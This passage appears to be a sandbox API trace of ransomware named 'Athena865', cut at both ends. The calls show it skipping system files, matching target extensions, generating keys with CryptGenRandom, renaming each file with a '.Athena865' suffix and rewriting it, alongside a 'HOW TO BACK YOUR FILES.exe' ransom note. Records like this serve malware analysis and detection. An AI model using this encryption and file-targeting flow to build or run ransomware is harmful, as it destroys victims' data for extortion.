out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.579] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.579] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.579] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x17c [0099.581] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000 [0099.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.582] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.582] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.583] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.583] CloseHandle (hObject=0x17c) returned 1 [0099.583] CloseHandle (hObject=0x154) returned 1 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.584] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82491ce0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x82491ce0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x82491ce0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x52e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows DVD Maker.lnk", cAlternateFileName="WINDOW~4.LNK")) returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2=".") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="..") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="windows") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="bootmgr") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="temp") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="pagefile.sys") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="boot") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="ids.txt") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="ntuser.dat") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="perflogs") returned 1 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2="MSBuild") returned 1 [0099.584] lstrlenW (lpString="Windows DVD Maker.lnk") returned 21 [0099.584] lstrcpyW (in: lpString1=0x241e88e, lpString2="Windows DVD Maker.lnk" | out: lpString1="Windows DVD Maker.lnk") returned="Windows DVD Maker.lnk" [0099.584] lstrlenW (lpString="Windows DVD Maker.lnk") returned 21 [0099.584] lstrlenW (lpString="Athena865") returned 9 [0099.584] lstrcmpiW (lpString1="Maker.lnk", lpString2="Athena865") returned 1 [0099.584] lstrlenW (lpString=".dll") returned 4 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2=".dll") returned 1 [0099.584] lstrlenW (lpString=".lnk") returned 4 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2=".lnk") returned 1 [0099.584] lstrlenW (lpString=".ini") returned 4 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2=".ini") returned 1 [0099.584] lstrlenW (lpString=".sys") returned 4 [0099.584] lstrcmpiW (lpString1="Windows DVD Maker.lnk", lpString2=".sys") returned 1 [0099.584] lstrlenW (lpString="Windows DVD Maker.lnk") returned 21 [0099.585] lstrlenW (lpString="bak") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0099.585] lstrlenW (lpString="ba_") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0099.585] lstrlenW (lpString="dbb") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0099.585] lstrlenW (lpString="vmdk") returned 4 [0099.585] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0099.585] lstrlenW (lpString="rar") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0099.585] lstrlenW (lpString="zip") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0099.585] lstrlenW (lpString="tgz") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0099.585] lstrlenW (lpString="vbox") returned 4 [0099.585] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0099.585] lstrlenW (lpString="vdi") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0099.585] lstrlenW (lpString="vhd") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0099.585] lstrlenW (lpString="vhdx") returned 4 [0099.585] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0099.585] lstrlenW (lpString="avhd") returned 4 [0099.585] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0099.585] lstrlenW (lpString="db") returned 2 [0099.585] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0099.585] lstrlenW (lpString="db2") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0099.585] lstrlenW (lpString="db3") returned 3 [0099.585] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0099.585] lstrlenW (lpString="dbf") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0099.586] lstrlenW (lpString="mdf") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0099.586] lstrlenW (lpString="mdb") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0099.586] lstrlenW (lpString="sql") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0099.586] lstrlenW (lpString="sqlite") returned 6 [0099.586] lstrcmpiW (lpString1="er.lnk", lpString2="sqlite") returned -1 [0099.586] lstrlenW (lpString="sqlite3") returned 7 [0099.586] lstrcmpiW (lpString1="ker.lnk", lpString2="sqlite3") returned -1 [0099.586] lstrlenW (lpString="sqlitedb") returned 8 [0099.586] lstrcmpiW (lpString1="aker.lnk", lpString2="sqlitedb") returned -1 [0099.586] lstrlenW (lpString="xml") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0099.586] lstrlenW (lpString="$er") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0099.586] lstrlenW (lpString="4dd") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0099.586] lstrlenW (lpString="4dl") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0099.586] lstrlenW (lpString="^^^") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0099.586] lstrlenW (lpString="abs") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0099.586] lstrlenW (lpString="abx") returned 3 [0099.586] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0099.586] lstrlenW (lpString="accdb") returned 5 [0099.586] lstrcmpiW (lpString1="r.lnk", lpString2="accdb") returned 1 [0099.586] lstrlenW (lpString="accdc") returned 5 [0099.586] lstrcmpiW (lpString1="r.lnk", lpString2="accdc") returned 1 [0099.587] lstrlenW (lpString="accde") returned 5 [0099.587] lstrcmpiW (lpString1="r.lnk", lpString2="accde") returned 1 [0099.587] lstrlenW (lpString="accdr") returned 5 [0099.587] lstrcmpiW (lpString1="r.lnk", lpString2="accdr") returned 1 [0099.587] lstrlenW (lpString="accdt") returned 5 [0099.587] lstrcmpiW (lpString1="r.lnk", lpString2="accdt") returned 1 [0099.587] lstrlenW (lpString="accdw") returned 5 [0099.587] lstrcmpiW (lpString1="r.lnk", lpString2="accdw") returned 1 [0099.587] lstrlenW (lpString="accft") returned 5 [0099.587] lstrcmpiW (lpString1="r.lnk", lpString2="accft") returned 1 [0099.587] lstrlenW (lpString="adb") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.587] lstrlenW (lpString="adb") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0099.587] lstrlenW (lpString="ade") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0099.587] lstrlenW (lpString="adf") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0099.587] lstrlenW (lpString="adn") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0099.587] lstrlenW (lpString="adp") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0099.587] lstrlenW (lpString="alf") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0099.587] lstrlenW (lpString="ask") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0099.587] lstrlenW (lpString="btr") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0099.587] lstrlenW (lpString="cat") returned 3 [0099.587] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0099.587] lstrlenW (lpString="cdb") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0099.588] lstrlenW (lpString="ckp") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0099.588] lstrlenW (lpString="cma") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0099.588] lstrlenW (lpString="cpd") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0099.588] lstrlenW (lpString="dacpac") returned 6 [0099.588] lstrcmpiW (lpString1="er.lnk", lpString2="dacpac") returned 1 [0099.588] lstrlenW (lpString="dad") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0099.588] lstrlenW (lpString="dadiagrams") returned 10 [0099.588] lstrcmpiW (lpString1=" Maker.lnk", lpString2="dadiagrams") returned -1 [0099.588] lstrlenW (lpString="daschema") returned 8 [0099.588] lstrcmpiW (lpString1="aker.lnk", lpString2="daschema") returned -1 [0099.588] lstrlenW (lpString="db-journal") returned 10 [0099.588] lstrcmpiW (lpString1=" Maker.lnk", lpString2="db-journal") returned -1 [0099.588] lstrlenW (lpString="db-shm") returned 6 [0099.588] lstrcmpiW (lpString1="er.lnk", lpString2="db-shm") returned 1 [0099.588] lstrlenW (lpString="db-wal") returned 6 [0099.588] lstrcmpiW (lpString1="er.lnk", lpString2="db-wal") returned 1 [0099.588] lstrlenW (lpString="dbc") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0099.588] lstrlenW (lpString="dbs") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0099.588] lstrlenW (lpString="dbt") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0099.588] lstrlenW (lpString="dbv") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0099.588] lstrlenW (lpString="dbx") returned 3 [0099.588] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0099.588] lstrlenW (lpString="dcb") returned 3 [0099.589] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0099.589] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Windows DVD Maker.lnk.Athena865") returned 66 [0099.589] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows DVD Maker.lnk" (normalized: "c:\\programdata\\start menu\\programs\\windows dvd maker.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows DVD Maker.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows dvd maker.lnk.athena865"), dwFlags=0x1) returned 1 [0099.592] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows DVD Maker.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows dvd maker.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.592] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1326) returned 1 [0099.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.593] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.593] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.594] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.594] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.594] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x830, lpName=0x0) returned 0x17c [0099.595] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x830) returned 0x100000 [0099.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.597] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.597] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.598] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.598] CloseHandle (hObject=0x17c) returned 1 [0099.598] CloseHandle (hObject=0x154) returned 1 [0099.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.598] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.598] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7b6b82, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d7b6b82, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3d7dcce2, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Fax and Scan.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2=".") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="..") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="windows") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="bootmgr") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="temp") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="pagefile.sys") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="boot") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="ids.txt") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="ntuser.dat") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="perflogs") returned 1 [0099.598] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2="MSBuild") returned 1 [0099.598] lstrlenW (lpString="Windows Fax and Scan.lnk") returned 24 [0099.599] lstrcpyW (in: lpString1=0x241e88e, lpString2="Windows Fax and Scan.lnk" | out: lpString1="Windows Fax and Scan.lnk") returned="Windows Fax and Scan.lnk" [0099.599] lstrlenW (lpString="Windows Fax and Scan.lnk") returned 24 [0099.599] lstrlenW (lpString="Athena865") returned 9 [0099.599] lstrcmpiW (lpString1=" Scan.lnk", lpString2="Athena865") returned -1 [0099.599] lstrlenW (lpString=".dll") returned 4 [0099.599] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2=".dll") returned 1 [0099.599] lstrlenW (lpString=".lnk") returned 4 [0099.599] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2=".lnk") returned 1 [0099.599] lstrlenW (lpString=".ini") returned 4 [0099.599] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2=".ini") returned 1 [0099.599] lstrlenW (lpString=".sys") returned 4 [0099.599] lstrcmpiW (lpString1="Windows Fax and Scan.lnk", lpString2=".sys") returned 1 [0099.599] lstrlenW (lpString="Windows Fax and Scan.lnk") returned 24 [0099.599] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Windows Fax and Scan.lnk.Athena865") returned 69 [0099.599] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Fax and Scan.lnk" (normalized: "c:\\programdata\\start menu\\programs\\windows fax and scan.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Fax and Scan.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows fax and scan.lnk.athena865"), dwFlags=0x1) returned 1 [0099.600] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Fax and Scan.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows fax and scan.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.600] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1210) returned 1 [0099.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.601] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.601] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.601] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.601] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c0, lpName=0x0) returned 0x17c [0099.602] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c0) returned 0x100000 [0099.602] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.602] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.602] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.603] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.603] CloseHandle (hObject=0x17c) returned 1 [0099.603] CloseHandle (hObject=0x154) returned 1 [0099.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.605] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945dbdb, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8945dbdb, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd869fe87, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x60b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="..") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="windows") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="bootmgr") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="temp") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="pagefile.sys") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="boot") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="ids.txt") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="ntuser.dat") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="perflogs") returned 1 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2="MSBuild") returned 1 [0099.605] lstrlenW (lpString="Windows Media Player.lnk") returned 24 [0099.605] lstrcpyW (in: lpString1=0x241e88e, lpString2="Windows Media Player.lnk" | out: lpString1="Windows Media Player.lnk") returned="Windows Media Player.lnk" [0099.605] lstrlenW (lpString="Windows Media Player.lnk") returned 24 [0099.605] lstrlenW (lpString="Athena865") returned 9 [0099.605] lstrcmpiW (lpString1="layer.lnk", lpString2="Athena865") returned 1 [0099.605] lstrlenW (lpString=".dll") returned 4 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".dll") returned 1 [0099.605] lstrlenW (lpString=".lnk") returned 4 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".lnk") returned 1 [0099.605] lstrlenW (lpString=".ini") returned 4 [0099.605] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".ini") returned 1 [0099.605] lstrlenW (lpString=".sys") returned 4 [0099.606] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".sys") returned 1 [0099.606] lstrlenW (lpString="Windows Media Player.lnk") returned 24 [0099.606] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\Windows Media Player.lnk.Athena865") returned 69 [0099.606] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\start menu\\programs\\windows media player.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Media Player.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows media player.lnk.athena865"), dwFlags=0x1) returned 1 [0099.607] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\Windows Media 